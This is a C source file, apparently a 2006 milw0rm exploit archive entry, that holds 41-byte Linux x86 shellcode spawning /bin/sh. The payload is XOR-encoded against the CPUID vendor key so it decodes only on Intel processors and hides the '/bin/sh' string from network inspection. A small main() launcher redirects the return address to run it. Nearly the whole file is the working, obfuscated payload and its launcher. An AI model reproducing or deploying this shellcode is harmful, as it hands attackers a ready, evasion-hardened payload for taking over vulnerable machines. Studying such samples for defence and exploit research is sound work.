477bcbdcc0
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42 lines
No EOL
1.4 KiB
C
Executable file
42 lines
No EOL
1.4 KiB
C
Executable file
/*
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* (linux/x86) execve("/bin/sh", ["/bin/sh"], NULL) / xor'ed against Intel x86 CPUID - 41 bytes
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*
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* The idea behind this shellcode is to use a *weak* pre-shared secret between the attacker and
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* the attacked machine. So if a 3rd party side would try to run this shellcode and would produce
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* a different CPUID output (e.g. different arch) the shellcode won't work. In addition this also
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* prevents from having the '/bin/sh' string visible on the wire.
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*
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* The shellcode key is (0x6c65746e, 'letn') and expected to be in %ecx register after CPUID
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*
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* - izik <izik@tty64.org>
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*/
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char shellcode[] =
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"\x31\xc0" // xor %eax,%eax
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"\x0f\xa2" // cpuid
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"\x51" // push %ecx
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"\x68\xe7\x95\xa8\xec" // push $0xeca895e7
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"\x68\xde\x7f\x37\x3f" // push $0x3f377fde
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"\x68\x07\x1a\xec\x8f" // push $0x8fec1a07
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"\x68\x6e\x1c\x4a\x0e" // push $0x0e4a1c6e
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"\x68\x06\x5b\x16\x04" // push $0x04165b06
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//
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// <_unpack_loop>:
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//
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"\x31\x0c\x24" // xor %ecx,(%esp)
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"\x5a" // pop %edx
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"\x75\xfa" // jne <_unpack_loop>
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"\x83\xec\x18" // sub $0x18,%esp
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"\x54" // push %esp
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"\xc3"; // ret
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int main(int argc, char **argv) {
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int *ret;
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ret = (int *)&ret + 2;
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(*ret) = (int) shellcode;
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}
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// milw0rm.com [2006-01-25]
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